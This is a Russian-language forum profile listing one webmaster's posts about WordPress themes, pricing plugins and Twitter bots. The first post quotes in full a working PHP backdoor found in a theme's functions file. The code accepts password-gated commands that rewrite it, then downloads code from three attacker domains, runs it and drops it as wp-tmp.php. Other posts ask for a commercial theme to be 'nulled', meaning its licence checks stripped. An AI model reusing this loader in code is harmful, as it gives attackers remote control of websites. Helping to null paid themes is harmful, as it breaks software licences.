Elliot

Members
  • Публикации

    105
  • Зарегистрирован

  • Посещение

О Elliot

  • Звание
    Бывалый
  • День рождения 12/24/1988

Profile Information

  • Пол
    Male
  • Специализация
    Вебмастер
  1. Здравствуйте друзья! Случайно заглянул в файл functions и заметил там непонятный код. Гляньте, как по вашему, что он может делать, часом не удаляет тему после загрузки сайта на хостинг? if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '34ddb1c16d4eca7a3070f39f15b3c008')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); if( fwrite($handle, "<?php\n" . $phpCode)) { } else { $tmpfname = tempnam('./', "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); } fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='11222a571de226a4d2202e7d67343f0d'; if (($tmpcontent = @file_get_contents("http://www.jatots.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.jatots.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.jatots.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.jatots.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp ?><?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php /** * * The framework's functions and definitions * */
  2. Здравствуйте уважаемые друзья! Подскажите, а то искал и толком ничего не нашел, как выводить цену для оптовых покупателей. Пример, для группы Оптовики, выводить -10% от цены в категории Блендеры, а на некоторые блендеры -15% так реально сделать с помощью какого-то плагина? Заранее спасибо!
  3. То есть, к примеру 10 баксов в месяц это как ЗП или пока пишет визуализатор?
  4. А как это по ежемесячной оплате, не совсем понял?
  5. Всем привет! Может кто-то в курсе, где найти подобный визуализатор интерьера. Искал подобный плагин в репозитории WP но не нашел... Или сколько подобный будит стоить? Спасибо!
  6. капчу можно поставить - это не проблема. А вот чтобы не было такого, что кто-то запихнул туда удаленный доступ... Вот что интересует...
  7. Скачал, установил, зануленная. Теперь осталось поискать то, что туда напихали... Помогите поискать, а то уверен что, напихали))
  8. Занулить, это снять ограничения, там хитро сделано, пока не заплатишь - демо данные не поставишь... вот ссылка 907 Как бы я не старался, скачать не могу, постоянно реклама выскакивает, а скачивание не начинается...
  9. На какой?
  10. Здравствуйте друзья! Интересен такой вопрос. может ли кто ради интереса (бесплатно) занулить тему, если это конечно возможно. Тема 907 и имеет в себе хороший ряд демо шаблонов, и они мне приглянулся, а демо данные без лицензии не закачать... Данная тема вроде не нарушает правила форума, если что - извините. Спасибо!
  11. Да какое, не всегда ручки покупают...
  12. Здравствуйте друзья! Ищу аналог Битрикс24 для компании в которой работаю. Достали ограничения и принуждения к оплате лучшего тарифа. Дошло до того, что уже сотрудники фотографии профиля загрузить не могут, лично загружаю фото размером 100кб, после загрузки размер уже 758кб и надпись (Превышено ограничение дискового пространства) и ты хоть лопни)) может есть скрипты чтобы на хостинг залить и не мучатся? Спасибо!
  13. Приветствую всех! Извините если не в нужный раздел пишу. Нашел скрипт Twando он управляет твиттер-аккаунтом, подписки, отписки, твиты... Но вот толком не пойму как он работает, а именно, как работает крон. Запуск каждые 5 минут, старт, пишет "Running" Подписываюсь на 10 аккаунтов, проходит 5 минут (по логике, как установлено в настройках) скрипт должен отписаться от 10 акков, но он не отписывается. Если снова запустить крон вручную (по специальной ссылке), то ничего не произойдет. Но если нажать на ссылку "Running" то все сработает и пройдет отписка от 10 акков. По какому принципу работает этот крон и скрипт в целом? Помогите разобраться в работе и правильно настроить скрипт.. Спасибо!
  14. Только на тот что нужно подтвердить, и то не факт. Хотя странно, у меня такого не было, сайт висел с рекламой не подтвержденный примерно месяц...
  15. Всем привет! Друзья, ищу твиттер бота на php для лайков постов по хэштэгам, видел такого бота на хабре но мне его не собрать, там еще сторонние ресурсы используются... Все что я смог найти в гугле - это php бот но только для постинга на свою страницу. Может кто-то видел бота для лайков и репостов по хэштэгам? А то скоро мозг лопнит)) Заранее спасибо!